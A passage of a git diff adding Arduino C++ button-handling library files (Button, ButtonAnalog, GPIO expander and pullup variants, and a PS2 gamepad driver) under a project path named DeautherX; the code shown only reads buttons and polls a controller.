bool Button::doubleClicked(uint32_t minPushTime, uint32_t minReleaseTime, uint32_t timeSpan) {
|
||||
bool wasPrevClicked = prevReleaseTime - prevPushTime >= minPushTime;
|
||||
bool inTimeSpan = millis() - prevPushTime <= timeSpan;
|
||||
bool releaseTimeout = millis() - prevReleaseTime >= minReleaseTime;
|
||||
|
||||
if (wasPrevClicked && inTimeSpan && releaseTimeout) {
|
||||
if (clicked(minPushTime)) {
|
||||
pushTime = 0;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Button::holding() {
|
||||
return holding(defaultHoldInterval);
|
||||
}
|
||||
|
||||
bool Button::holding(uint32_t interval) {
|
||||
if (getState() && (millis() - holdTime >= interval)) {
|
||||
holdTime = millis();
|
||||
holdFlag = true;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void Button::setUpdateInterval(uint32_t updateInterval) {
|
||||
this->updateInterval = updateInterval;
|
||||
}
|
||||
|
||||
void Button::setDefaultMinPushTime(uint32_t defaultMinPushTime) {
|
||||
this->defaultMinPushTime = defaultMinPushTime;
|
||||
}
|
||||
|
||||
void Button::setDefaultMinReleaseTime(uint32_t defaultMinReleaseTime) {
|
||||
this->defaultMinReleaseTime = defaultMinReleaseTime;
|
||||
}
|
||||
|
||||
void Button::setDefaultTimeSpan(uint32_t defaultTimeSpan) {
|
||||
this->defaultTimeSpan = defaultTimeSpan;
|
||||
}
|
||||
|
||||
void Button::setDefaultHoldTime(uint32_t defaultHoldInterval) {
|
||||
this->defaultHoldInterval = defaultHoldInterval;
|
||||
}
|
||||
|
||||
void Button::setOnPushed(ButtonEventFunction) {
|
||||
this->addEvent(new PushEvent(fnct));
|
||||
}
|
||||
|
||||
void Button::setOnReleased(ButtonEventFunction) {
|
||||
this->addEvent(new ReleaseEvent(fnct));
|
||||
}
|
||||
|
||||
void Button::setOnClicked(ButtonEventFunction) {
|
||||
setOnClicked(fnct, defaultMinPushTime, defaultMinReleaseTime);
|
||||
}
|
||||
|
||||
void Button::setOnClicked(ButtonEventFunction, uint32_t minPushTime) {
|
||||
setOnClicked(fnct, minPushTime, defaultMinReleaseTime);
|
||||
}
|
||||
|
||||
void Button::setOnClicked(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime) {
|
||||
this->addEvent(new ClickEvent(fnct, minPushTime, minReleaseTime));
|
||||
}
|
||||
|
||||
void Button::setOnDoubleClicked(ButtonEventFunction) {
|
||||
setOnDoubleClicked(fnct, defaultMinPushTime, defaultMinReleaseTime, defaultTimeSpan);
|
||||
}
|
||||
|
||||
void Button::setOnDoubleClicked(ButtonEventFunction, uint32_t minPushTime) {
|
||||
setOnDoubleClicked(fnct, minPushTime, defaultMinReleaseTime, defaultTimeSpan);
|
||||
}
|
||||
|
||||
void Button::setOnDoubleClicked(ButtonEventFunction, uint32_t minPushTime, uint32_t timeSpan) {
|
||||
setOnDoubleClicked(fnct, minPushTime, defaultMinReleaseTime, timeSpan);
|
||||
}
|
||||
|
||||
void Button::setOnDoubleClicked(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime, uint32_t timeSpan) {
|
||||
this->addEvent(new DoubleclickEvent(fnct, minPushTime, minReleaseTime, timeSpan));
|
||||
}
|
||||
|
||||
void Button::setOnHolding(ButtonEventFunction) {
|
||||
setOnHolding(fnct, defaultHoldInterval);
|
||||
}
|
||||
|
||||
void Button::setOnHolding(ButtonEventFunction, uint32_t interval) {
|
||||
this->addEvent(new HoldEvent(fnct, interval));
|
||||
}
|
||||
|
||||
void Button::clearEvents() {
|
||||
delete events;
|
||||
events = NULL;
|
||||
}
|
||||
|
||||
void Button::addEvent(Event* e) {
|
||||
if (events == NULL) events = e;
|
||||
else {
|
||||
Event* tmp = events;
|
||||
|
||||
while (tmp->next != NULL) tmp = tmp->next;
|
||||
tmp->next = e;
|
||||
}
|
||||
}
|
||||
}
|
||||
111
DeautherX/src/SimpleButton/Buttons/Button.h
Normal file
111
DeautherX/src/SimpleButton/Buttons/Button.h
Normal file
@@ -0,0 +1,111 @@
|
||||
#ifndef SimpleButton_Button_h
|
||||
#define SimpleButton_Button_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "../Events/Event.h"
|
||||
#include "../Events/PushEvent.h"
|
||||
#include "../Events/ReleaseEvent.h"
|
||||
#include "../Events/ClickEvent.h"
|
||||
#include "../Events/DoubleclickEvent.h"
|
||||
#include "../Events/HoldEvent.h"
|
||||
|
||||
namespace simplebutton {
|
||||
class Button {
|
||||
public:
|
||||
Button();
|
||||
Button(uint8_t pin);
|
||||
Button(uint8_t pin, bool inverted);
|
||||
|
||||
virtual ~Button();
|
||||
|
||||
void setup(uint8_t pin, bool inverted);
|
||||
|
||||
virtual void enable();
|
||||
virtual void disable();
|
||||
virtual void reset();
|
||||
|
||||
virtual void push();
|
||||
virtual void release();
|
||||
|
||||
virtual void click();
|
||||
virtual void click(uint32_t time);
|
||||
|
||||
virtual int read();
|
||||
virtual void update();
|
||||
virtual void update(int state);
|
||||
virtual void updateEvents();
|
||||
|
||||
virtual bool isInverted();
|
||||
virtual bool isEnabled();
|
||||
virtual bool isSetup();
|
||||
|
||||
virtual bool getState();
|
||||
virtual int getClicks();
|
||||
virtual int getPushTime();
|
||||
|
||||
virtual bool pushed();
|
||||
virtual bool released();
|
||||
virtual bool clicked();
|
||||
virtual bool clicked(uint32_t minPushTime);
|
||||
virtual bool clicked(uint32_t minPushTime, uint32_t minReleaseTime);
|
||||
virtual bool doubleClicked();
|
||||
virtual bool doubleClicked(uint32_t minPushTime);
|
||||
virtual bool doubleClicked(uint32_t minPushTime, uint32_t timeSpan);
|
||||
virtual bool doubleClicked(uint32_t minPushTime, uint32_t minReleaseTime, uint32_t timeSpan);
|
||||
virtual bool holding();
|
||||
virtual bool holding(uint32_t interval);
|
||||
|
||||
virtual void setUpdateInterval(uint32_t updateInterval);
|
||||
virtual void setDefaultMinPushTime(uint32_t defaultMinPushTime);
|
||||
virtual void setDefaultMinReleaseTime(uint32_t defaultMinReleaseTime);
|
||||
virtual void setDefaultTimeSpan(uint32_t defaultTimeSpan);
|
||||
virtual void setDefaultHoldTime(uint32_t defaultHoldInterval);
|
||||
|
||||
virtual void setOnPushed(ButtonEventFunction);
|
||||
virtual void setOnReleased(ButtonEventFunction);
|
||||
virtual void setOnClicked(ButtonEventFunction);
|
||||
virtual void setOnClicked(ButtonEventFunction, uint32_t minPushTime);
|
||||
virtual void setOnClicked(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime);
|
||||
virtual void setOnDoubleClicked(ButtonEventFunction);
|
||||
virtual void setOnDoubleClicked(ButtonEventFunction, uint32_t minPushTime);
|
||||
virtual void setOnDoubleClicked(ButtonEventFunction, uint32_t minPushTime, uint32_t timeSpan);
|
||||
virtual void setOnDoubleClicked(
|
||||
ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime, uint32_t timeSpan);
|
||||
virtual void setOnHolding(ButtonEventFunction);
|
||||
virtual void setOnHolding(ButtonEventFunction, uint32_t interval);
|
||||
|
||||
virtual void clearEvents();
|
||||
|
||||
protected:
|
||||
Event* events = NULL;
|
||||
|
||||
bool button_inverted = false;
|
||||
bool button_setup = false;
|
||||
bool button_enabled = false;
|
||||
bool state = false;
|
||||
bool pushedFlag = false;
|
||||
bool releasedFlag = false;
|
||||
bool holdFlag = false;
|
||||
|
||||
uint8_t button_pin = 255;
|
||||
|
||||
uint16_t clicks = 0;
|
||||
|
||||
uint32_t pushTime = 0;
|
||||
uint32_t releaseTime = 0;
|
||||
uint32_t prevPushTime = 0;
|
||||
uint32_t prevReleaseTime = 0;
|
||||
uint32_t holdTime = 0;
|
||||
uint32_t updateTime = 0;
|
||||
|
||||
uint32_t updateInterval = 5;
|
||||
uint32_t defaultMinPushTime = 40;
|
||||
uint32_t defaultMinReleaseTime = 40;
|
||||
uint32_t defaultTimeSpan = 500;
|
||||
uint32_t defaultHoldInterval = 500;
|
||||
|
||||
void addEvent(Event* e);
|
||||
};
|
||||
}
|
||||
|
||||
#endif // ifndef SimpleButton_Button_h
|
||||
77
DeautherX/src/SimpleButton/Buttons/ButtonAnalog.cpp
Normal file
77
DeautherX/src/SimpleButton/Buttons/ButtonAnalog.cpp
Normal file
@@ -0,0 +1,77 @@
|
||||
#include "ButtonAnalog.h"
|
||||
|
||||
namespace simplebutton {
|
||||
ButtonAnalog::ButtonAnalog() {
|
||||
setup(255, 0, 1024);
|
||||
}
|
||||
|
||||
ButtonAnalog::ButtonAnalog(uint8_t pin) {
|
||||
setup(pin, 0, 1024);
|
||||
}
|
||||
|
||||
ButtonAnalog::ButtonAnalog(uint16_t minValue, uint16_t maxValue) {
|
||||
setup(255, minValue, maxValue);
|
||||
}
|
||||
|
||||
ButtonAnalog::ButtonAnalog(uint8_t pin, uint16_t minValue, uint16_t maxValue) {
|
||||
setup(pin, minValue, maxValue);
|
||||
}
|
||||
|
||||
ButtonAnalog::~ButtonAnalog() {}
|
||||
|
||||
void ButtonAnalog::setup(uint8_t pin, uint16_t minValue, uint16_t maxValue) {
|
||||
this->button_pin = pin;
|
||||
this->minValue = minValue;
|
||||
this->maxValue = maxValue;
|
||||
enable();
|
||||
}
|
||||
|
||||
int ButtonAnalog::read() {
|
||||
int currentState = 0;
|
||||
|
||||
if (button_enabled && button_setup) {
|
||||
currentState = analogRead(button_pin);
|
||||
}
|
||||
|
||||
return currentState;
|
||||
}
|
||||
|
||||
void ButtonAnalog::update() {
|
||||
if (millis() - updateTime >= updateInterval) {
|
||||
Button::updateEvents();
|
||||
if (button_enabled && button_setup) update(read());
|
||||
}
|
||||
}
|
||||
|
||||
void ButtonAnalog::update(int state) {
|
||||
uint16_t newState = state;
|
||||
|
||||
updateTime = millis();
|
||||
|
||||
value = newState;
|
||||
|
||||
if ((newState >= minValue) && (newState <= maxValue)) push();
|
||||
else release();
|
||||
}
|
||||
|
||||
void ButtonAnalog::setMin(uint16_t minValue) {
|
||||
this->minValue = minValue;
|
||||
}
|
||||
|
||||
void ButtonAnalog::setMax(uint16_t maxValue) {
|
||||
this->maxValue = maxValue;
|
||||
}
|
||||
|
||||
void ButtonAnalog::setBounds(uint16_t minValue, uint16_t maxValue) {
|
||||
setMin(minValue);
|
||||
setMax(maxValue);
|
||||
}
|
||||
|
||||
void ButtonAnalog::setValue(int value) {
|
||||
this->value = (uint16_t)value;
|
||||
}
|
||||
|
||||
uint16_t ButtonAnalog::getValue() {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
37
DeautherX/src/SimpleButton/Buttons/ButtonAnalog.h
Normal file
37
DeautherX/src/SimpleButton/Buttons/ButtonAnalog.h
Normal file
@@ -0,0 +1,37 @@
|
||||
#ifndef SimpleButton_ButtonAnalog_h
|
||||
#define SimpleButton_ButtonAnalog_h
|
||||
|
||||
#include "Button.h"
|
||||
|
||||
|
||||
namespace simplebutton {
|
||||
class ButtonAnalog : public Button {
|
||||
public:
|
||||
ButtonAnalog();
|
||||
ButtonAnalog(uint8_t pin);
|
||||
ButtonAnalog(uint16_t minValue, uint16_t maxValue);
|
||||
ButtonAnalog(uint8_t pin, uint16_t minValue, uint16_t maxValue);
|
||||
|
||||
~ButtonAnalog();
|
||||
|
||||
void setup(uint8_t pin, uint16_t minValue, uint16_t maxValue);
|
||||
|
||||
int read();
|
||||
|
||||
void update();
|
||||
void update(int state);
|
||||
|
||||
void setMin(uint16_t minValue);
|
||||
void setMax(uint16_t maxValue);
|
||||
void setBounds(uint16_t minValue, uint16_t maxValue);
|
||||
|
||||
uint16_t getValue();
|
||||
void setValue(int value);
|
||||
|
||||
private:
|
||||
uint16_t minValue = 0;
|
||||
uint16_t maxValue = 1024;
|
||||
uint16_t value = 0;
|
||||
};
|
||||
}
|
||||
#endif // ifndef SimpleButton_ButtonAnalog_h
|
||||
55
DeautherX/src/SimpleButton/Buttons/ButtonGPIOExpander.cpp
Normal file
55
DeautherX/src/SimpleButton/Buttons/ButtonGPIOExpander.cpp
Normal file
@@ -0,0 +1,55 @@
|
||||
#include "ButtonGPIOExpander.h"
|
||||
|
||||
namespace simplebutton {
|
||||
ButtonGPIOExpander::ButtonGPIOExpander() {
|
||||
setup(NULL, 255, false);
|
||||
}
|
||||
|
||||
ButtonGPIOExpander::ButtonGPIOExpander(GPIOExpander* pcf, uint8_t pin) {
|
||||
setup(pcf, pin, false);
|
||||
}
|
||||
|
||||
ButtonGPIOExpander::ButtonGPIOExpander(GPIOExpander* pcf, uint8_t pin, bool inverted) {
|
||||
setup(pcf, pin, inverted);
|
||||
}
|
||||
|
||||
ButtonGPIOExpander::~ButtonGPIOExpander() {}
|
||||
|
||||
void ButtonGPIOExpander::setup(GPIOExpander* pcf, uint8_t pin, bool inverted) {
|
||||
this->pcf = pcf;
|
||||
this->button_pin = pin;
|
||||
this->button_inverted = inverted;
|
||||
enable();
|
||||
}
|
||||
|
||||
void ButtonGPIOExpander::enable() {
|
||||
button_enabled = true;
|
||||
|
||||
if (pcf) {
|
||||
pcf->write(button_pin, 0);
|
||||
if (pcf->connected()) button_setup = true;
|
||||
}
|
||||
}
|
||||
|
||||
int ButtonGPIOExpander::read() {
|
||||
bool currentState = false;
|
||||
|
||||
if (button_enabled && button_setup) {
|
||||
currentState = pcf->read(button_pin) > 0;
|
||||
|
||||
if (button_inverted) currentState = !currentState;
|
||||
}
|
||||
|
||||
return (int)currentState;
|
||||
}
|
||||
|
||||
void ButtonGPIOExpander::update() {
|
||||
if (button_enabled && button_setup) {
|
||||
update(read());
|
||||
}
|
||||
}
|
||||
|
||||
void ButtonGPIOExpander::update(int state) {
|
||||
Button::update(state);
|
||||
}
|
||||
}
|
||||
32
DeautherX/src/SimpleButton/Buttons/ButtonGPIOExpander.h
Normal file
32
DeautherX/src/SimpleButton/Buttons/ButtonGPIOExpander.h
Normal file
@@ -0,0 +1,32 @@
|
||||
#ifndef SimpleButton_ButtonGPIOExpander_h
|
||||
#define SimpleButton_ButtonGPIOExpander_h
|
||||
|
||||
#include "Button.h"
|
||||
#include "../libs/GPIOExpander.h"
|
||||
#include "../libs/PCF8574.h"
|
||||
#include "../libs/PCF8575.h"
|
||||
#include "../libs/MCP23017.h"
|
||||
|
||||
namespace simplebutton {
|
||||
class ButtonGPIOExpander : public Button {
|
||||
public:
|
||||
ButtonGPIOExpander();
|
||||
ButtonGPIOExpander(GPIOExpander* pcf, uint8_t pin);
|
||||
ButtonGPIOExpander(GPIOExpander* pcf, uint8_t pin, bool inverted);
|
||||
|
||||
virtual ~ButtonGPIOExpander();
|
||||
|
||||
void setup(GPIOExpander* pcf, uint8_t pin, bool inverted);
|
||||
|
||||
virtual void enable();
|
||||
|
||||
virtual int read();
|
||||
virtual void update();
|
||||
virtual void update(int state);
|
||||
|
||||
protected:
|
||||
GPIOExpander* pcf = NULL;
|
||||
};
|
||||
}
|
||||
|
||||
#endif // ifndef SimpleButton_ButtonGPIOExpander_h
|
||||
28
DeautherX/src/SimpleButton/Buttons/ButtonPullup.cpp
Normal file
28
DeautherX/src/SimpleButton/Buttons/ButtonPullup.cpp
Normal file
@@ -0,0 +1,28 @@
|
||||
#include "ButtonPullup.h"
|
||||
|
||||
namespace simplebutton {
|
||||
ButtonPullup::ButtonPullup() {
|
||||
setup(255);
|
||||
}
|
||||
|
||||
ButtonPullup::ButtonPullup(uint8_t pin) {
|
||||
setup(pin);
|
||||
}
|
||||
|
||||
ButtonPullup::~ButtonPullup() {}
|
||||
|
||||
void ButtonPullup::setup(uint8_t pin) {
|
||||
this->button_pin = pin;
|
||||
this->button_inverted = true;
|
||||
enable();
|
||||
}
|
||||
|
||||
void ButtonPullup::enable() {
|
||||
button_enabled = true;
|
||||
|
||||
if ((button_pin < 255) && !button_setup) {
|
||||
pinMode(button_pin, INPUT_PULLUP);
|
||||
button_setup = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
20
DeautherX/src/SimpleButton/Buttons/ButtonPullup.h
Normal file
20
DeautherX/src/SimpleButton/Buttons/ButtonPullup.h
Normal file
@@ -0,0 +1,20 @@
|
||||
#ifndef SimpleButton_ButtonPullup_h
|
||||
#define SimpleButton_ButtonPullup_h
|
||||
|
||||
#include "Button.h"
|
||||
|
||||
namespace simplebutton {
|
||||
class ButtonPullup : public Button {
|
||||
public:
|
||||
ButtonPullup();
|
||||
ButtonPullup(uint8_t pin);
|
||||
|
||||
~ButtonPullup();
|
||||
|
||||
void setup(uint8_t pin);
|
||||
|
||||
void enable();
|
||||
};
|
||||
}
|
||||
|
||||
#endif // ifndef SimpleButton_ButtonPullup_h
|
||||
@@ -0,0 +1,29 @@
|
||||
#include "ButtonPullupGPIOExpander.h"
|
||||
|
||||
namespace simplebutton {
|
||||
ButtonPullupGPIOExpander::ButtonPullupGPIOExpander() {
|
||||
setup(NULL, 255);
|
||||
}
|
||||
|
||||
ButtonPullupGPIOExpander::ButtonPullupGPIOExpander(GPIOExpander* pcf, uint8_t pin) {
|
||||
setup(pcf, pin);
|
||||
}
|
||||
|
||||
ButtonPullupGPIOExpander::~ButtonPullupGPIOExpander() {}
|
||||
|
||||
void ButtonPullupGPIOExpander::setup(GPIOExpander* pcf, uint8_t pin) {
|
||||
this->pcf = pcf;
|
||||
this->button_pin = pin;
|
||||
this->button_inverted = true;
|
||||
enable();
|
||||
}
|
||||
|
||||
void ButtonPullupGPIOExpander::enable() {
|
||||
button_enabled = true;
|
||||
|
||||
if (pcf) {
|
||||
pcf->write(button_pin, 1);
|
||||
if (pcf->connected()) button_setup = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
#ifndef SimpleButton_ButtonPullupGPIOExpander_h
|
||||
#define SimpleButton_ButtonPullupGPIOExpander_h
|
||||
|
||||
#include "ButtonGPIOExpander.h"
|
||||
|
||||
namespace simplebutton {
|
||||
class ButtonPullupGPIOExpander : public ButtonGPIOExpander {
|
||||
public:
|
||||
ButtonPullupGPIOExpander();
|
||||
ButtonPullupGPIOExpander(GPIOExpander* pcf, uint8_t pin);
|
||||
|
||||
~ButtonPullupGPIOExpander();
|
||||
|
||||
void setup(GPIOExpander* pcf, uint8_t pin);
|
||||
|
||||
void enable();
|
||||
};
|
||||
}
|
||||
|
||||
#endif // ifndef SimpleButton_ButtonPullupGPIOExpander_h
|
||||
400
DeautherX/src/SimpleButton/Buttons/PS2Gamepad.cpp
Normal file
400
DeautherX/src/SimpleButton/Buttons/PS2Gamepad.cpp
Normal file
@@ -0,0 +1,400 @@
|
||||
#include "PS2Gamepad.h"
|
||||
|
||||
namespace simplebutton {
|
||||
#include "PS2Gamepad.h"
|
||||
|
||||
PS2Gamepad::PS2Gamepad() {}
|
||||
|
||||
PS2Gamepad::PS2Gamepad(uint8_t clockPin, uint8_t cmdPin, uint8_t attPin, uint8_t dataPin, bool analog) {
|
||||
setup(clockPin, cmdPin, attPin, dataPin, analog);
|
||||
}
|
||||
|
||||
PS2Gamepad::~PS2Gamepad() {
|
||||
if (up) delete up;
|
||||
if (down) delete down;
|
||||
if (left) delete left;
|
||||
if (right) delete right;
|
||||
|
||||
if (l1) delete l1;
|
||||
if (l2) delete l2;
|
||||
if (r1) delete r1;
|
||||
if (r2) delete r2;
|
||||
|
||||
if (square) delete square;
|
||||
if (triangle) delete triangle;
|
||||
if (cross) delete cross;
|
||||
if (circle) delete circle;
|
||||
|
||||
if (select) delete select;
|
||||
if (start) delete start;
|
||||
|
||||
if (analogLeft) delete analogLeft;
|
||||
if (analogRight) delete analogRight;
|
||||
}
|
||||
|
||||
void PS2Gamepad::setup(uint8_t clockPin, uint8_t cmdPin, uint8_t attPin, uint8_t dataPin, bool analog) {
|
||||
// pin setup
|
||||
this->clockPin = clockPin;
|
||||
this->cmdPin = cmdPin;
|
||||
this->attPin = attPin;
|
||||
this->dataPin = dataPin;
|
||||
this->rumbleEnabled = analog;
|
||||
this->pressureEnabled = analog;
|
||||
|
||||
pinMode(clockPin, OUTPUT);
|
||||
pinMode(attPin, OUTPUT);
|
||||
pinMode(cmdPin, OUTPUT);
|
||||
|
||||
pinMode(dataPin, INPUT_PULLUP);
|
||||
|
||||
digitalWrite(cmdPin, HIGH);
|
||||
digitalWrite(clockPin, HIGH);
|
||||
|
||||
// button setup
|
||||
if (!up) up = new ButtonAnalog(1, 255);
|
||||
if (!down) down = new ButtonAnalog(1, 255);
|
||||
if (!left) left = new ButtonAnalog(1, 255);
|
||||
if (!right) right = new ButtonAnalog(1, 255);
|
||||
|
||||
if (!l1) l1 = new ButtonAnalog(1, 255);
|
||||
if (!l2) l2 = new ButtonAnalog(1, 255);
|
||||
if (!r1) r1 = new ButtonAnalog(1, 255);
|
||||
if (!r2) r2 = new ButtonAnalog(1, 255);
|
||||
|
||||
if (!square) square = new ButtonAnalog(1, 255);
|
||||
if (!triangle) triangle = new ButtonAnalog(1, 255);
|
||||
if (!cross) cross = new ButtonAnalog(1, 255);
|
||||
if (!circle) circle = new ButtonAnalog(1, 255);
|
||||
|
||||
if (!select) select = new Button();
|
||||
if (!start) start = new Button();
|
||||
|
||||
if (!analogLeft) {
|
||||
analogLeft = new AnalogStick();
|
||||
analogLeft->setLogic(256);
|
||||
}
|
||||
if (!analogRight) {
|
||||
analogRight = new AnalogStick();
|
||||
analogRight->setLogic(256);
|
||||
}
|
||||
|
||||
// connection setup
|
||||
poll();
|
||||
delay(10);
|
||||
poll();
|
||||
delay(10);
|
||||
poll();
|
||||
|
||||
/*
|
||||
if ((gamepadData[1] != 0x41) && (gamepadData[1] != 0x73) && (gamepadData[1] != 0x79)) {
|
||||
errorCode = 1;
|
||||
return;
|
||||
}
|
||||
*/
|
||||
|
||||
int tries = 0;
|
||||
bool success = false;
|
||||
|
||||
do {
|
||||
sendEnter();
|
||||
|
||||
delayMicroseconds(5);
|
||||
|
||||
digitalWrite(cmdPin, HIGH);
|
||||
digitalWrite(clockPin, HIGH);
|
||||
digitalWrite(attPin, LOW); // enable joystick
|
||||
|
||||
delayMicroseconds(5);
|
||||
|
||||
sendRead();
|
||||
|
||||
digitalWrite(attPin, HIGH); // disable joystick
|
||||
|
||||
sendMode();
|
||||
if (rumbleEnabled) sendRumble();
|
||||
if (pressureEnabled) sendBytesLarge();
|
||||
sendExit();
|
||||
|
||||
poll();
|
||||
|
||||
if ((gamepadData[1] == 0x79) || (gamepadData[1] == 0x73)) {
|
||||
success = true;
|
||||
} else {
|
||||
tries++;
|
||||
}
|
||||
} while (tries < 10 && !success);
|
||||
|
||||
if (!success) {
|
||||
errorCode = 2;
|
||||
} else {
|
||||
is_connected = true;
|
||||
}
|
||||
}
|
||||
|
||||
void PS2Gamepad::update() {
|
||||
if (is_connected && (millis() - lastPoll > updateInterval)) {
|
||||
poll();
|
||||
|
||||
up->update(getDigitalValue(4));
|
||||
down->update(getDigitalValue(6));
|
||||
left->update(getDigitalValue(7));
|
||||
right->update(getDigitalValue(5));
|
||||
|
||||
l1->update(getDigitalValue(10));
|
||||
l2->update(getDigitalValue(8));
|
||||
r1->update(getDigitalValue(11));
|
||||
r2->update(getDigitalValue(9));
|
||||
|
||||
square->update(getDigitalValue(15));
|
||||
triangle->update(getDigitalValue(12));
|
||||
cross->update(getDigitalValue(14));
|
||||
circle->update(getDigitalValue(13));
|
||||
|
||||
select->update(getDigitalValue(0));
|
||||
start->update(getDigitalValue(3));
|
||||
|
||||
analogLeft->update(getAnalogValue(7), getAnalogValue(8), getDigitalValue(1));
|
||||
analogRight->update(getAnalogValue(5), getAnalogValue(6), getDigitalValue(2));
|
||||
|
||||
if (pressureEnabled) {
|
||||
up->setValue(getDigitalValue(4) | getAnalogValue(11));
|
||||
down->setValue(getDigitalValue(6) | getAnalogValue(12));
|
||||
left->setValue(getDigitalValue(7) | getAnalogValue(10));
|
||||
right->setValue(getDigitalValue(5) | getAnalogValue(9));
|
||||
|
||||
l1->setValue(getDigitalValue(10) | getAnalogValue(17));
|
||||
l2->setValue(getDigitalValue(8) | getAnalogValue(19));
|
||||
r1->setValue(getDigitalValue(11) | getAnalogValue(18));
|
||||
r2->setValue(getDigitalValue(9) | getAnalogValue(20));
|
||||
|
||||
square->setValue(getDigitalValue(15) | getAnalogValue(16));
|
||||
triangle->setValue(getDigitalValue(12) | getAnalogValue(13));
|
||||
cross->setValue(getDigitalValue(14) | getAnalogValue(15));
|
||||
circle->setValue(getDigitalValue(13) | getAnalogValue(14));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
String PS2Gamepad::getError() {
|
||||
String msg;
|
||||
|
||||
switch (errorCode) {
|
||||
case 0:
|
||||
msg += String("OK");
|
||||
break;
|
||||
|
||||
case 1:
|
||||
msg += String("Mode not matched or not found [");
|
||||
msg += String(gamepadData[1], HEX);
|
||||
msg += String("]");
|
||||
break;
|
||||
|
||||
case 2:
|
||||
msg += String("Not accepting commands [");
|
||||
msg += String(gamepadData[1], HEX);
|
||||
msg += String("]");
|
||||
break;
|
||||
}
|
||||
|
||||
errorCode = 0;
|
||||
|
||||
return msg;
|
||||
}
|
||||
|
||||
bool PS2Gamepad::connected() {
|
||||
return is_connected;
|
||||
}
|
||||
|
||||
void PS2Gamepad::setUpdateInterval(uint32_t updateInterval) {
|
||||
this->updateInterval = updateInterval;
|
||||
}
|
||||
|
||||
void PS2Gamepad::setMotors(uint8_t motorA, uint8_t motorB) {
|
||||
if (!rumbleEnabled) {
|
||||
rumbleEnabled = true;
|
||||
pressureEnabled = true;
|
||||
reconfig();
|
||||
}
|
||||
poll(motorA, motorB);
|
||||
}
|
||||
|
||||
void PS2Gamepad::reconfig() {
|
||||
sendEnter();
|
||||
sendMode();
|
||||
if (rumbleEnabled) sendRumble();
|
||||
if (pressureEnabled) sendBytesLarge();
|
||||
sendExit();
|
||||
}
|
||||
|
||||
void PS2Gamepad::poll() {
|
||||
if (millis() - lastPoll > 1500) reconfig();
|
||||
lastPoll = millis();
|
||||
|
||||
uint8_t dwordA[9] = { 0x01, 0x42, 0x00, motorA, motorB, 0x00, 0x00, 0x00, 0x00 };
|
||||
uint8_t dwordB[12] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||
|
||||
int tries = 0;
|
||||
bool success = false;
|
||||
|
||||
do {
|
||||
digitalWrite(cmdPin, HIGH);
|
||||
digitalWrite(clockPin, HIGH);
|
||||
digitalWrite(attPin, LOW); // low enable joystick
|
||||
|
||||
delayMicroseconds(5);
|
||||
|
||||
// send command to ask for data
|
||||
for (int i = 0; i < 9; i++) {
|
||||
gamepadData[i] = shift(dwordA[i]);
|
||||
}
|
||||
|
||||
// if controller is in full data return mode, get the rest of data
|
||||
if (gamepadData[1] == 0x79) {
|
||||
for (int i = 0; i < 12; i++) {
|
||||
gamepadData[i + 9] = shift(dwordB[i]);
|
||||
}
|
||||
}
|
||||
|
||||
digitalWrite(attPin, HIGH); // disable joystick
|
||||
|
||||
// Check to see if we received valid data or not.
|
||||
// We should be in analog mode for our data to be valid (analog == 0x7_)
|
||||
if ((gamepadData[1] & 0xf0) == 0x70) {
|
||||
success = true;
|
||||
} else {
|
||||
// If we got to here, we are not in analog mode, try to recover...
|
||||
reconfig();
|
||||
tries++;
|
||||
}
|
||||
} while (tries < 10 && !success);
|
||||
|
||||
prevButtonData = buttonData;
|
||||
|
||||
buttonData = ((uint16_t)gamepadData[4] << 8) | gamepadData[3];
|
||||
}
|
||||
|
||||
void PS2Gamepad::poll(uint8_t motorA, uint8_t motorB) {
|
||||
this->motorA = motorA;
|
||||
this->motorB = motorB;
|
||||
poll();
|
||||
}
|
||||
|
||||
bool PS2Gamepad::getDigitalValue(uint8_t button) {
|
||||
if (/*button >= 0 && */ button <= 15) return (~buttonData >> button) & 1;
|
||||
else return 0;
|
||||
}
|
||||
|
||||
uint8_t PS2Gamepad::getAnalogValue(uint8_t button) {
|
||||
return gamepadData[button];
|
||||
}
|
||||
|
||||
uint8_t PS2Gamepad::shift(uint8_t data) {
|
||||
uint8_t tmp = 0;
|
||||
|
||||
for (int i = 0; i < 8; i++) {
|
||||
if (data & (1 << i)) digitalWrite(cmdPin, HIGH);
|
||||
else digitalWrite(cmdPin, LOW);
|
||||
|
||||
digitalWrite(clockPin, LOW);
|
||||
delayMicroseconds(5);
|
||||
|
||||
if (digitalRead(dataPin)) bitSet(tmp, i);
|
||||
|
||||
digitalWrite(clockPin, HIGH);
|
||||
delayMicroseconds(5);
|
||||
}
|
||||
|
||||
digitalWrite(cmdPin, HIGH);
|
||||
delayMicroseconds(5);
|
||||
|
||||
return tmp;
|
||||
}
|
||||
|
||||
void PS2Gamepad::sendEnter() {
|
||||
digitalWrite(attPin, LOW);
|
||||
|
||||
shift(0x01);
|
||||
shift(0x43);
|
||||
shift(0x00);
|
||||
shift(0x01);
|
||||
shift(0x00);
|
||||
|
||||
digitalWrite(attPin, HIGH);
|
||||
}
|
||||
|
||||
void PS2Gamepad::sendMode() {
|
||||
digitalWrite(attPin, LOW);
|
||||
|
||||
shift(0x01);
|
||||
shift(0x44);
|
||||
shift(0x00);
|
||||
shift(0x01);
|
||||
shift(0x03);
|
||||
shift(0x00);
|
||||
shift(0x00);
|
||||
shift(0x00);
|
||||
shift(0x00);
|
||||
|
||||
digitalWrite(attPin, HIGH);
|
||||
}
|
||||
|
||||
void PS2Gamepad::sendRumble() {
|
||||
digitalWrite(attPin, LOW);
|
||||
|
||||
shift(0x01);
|
||||
shift(0x4D);
|
||||
shift(0x00);
|
||||
shift(0x00);
|
||||
shift(0x01);
|
||||
|
||||
digitalWrite(attPin, HIGH);
|
||||
}
|
||||
|
||||
void PS2Gamepad::sendBytesLarge() {
|
||||
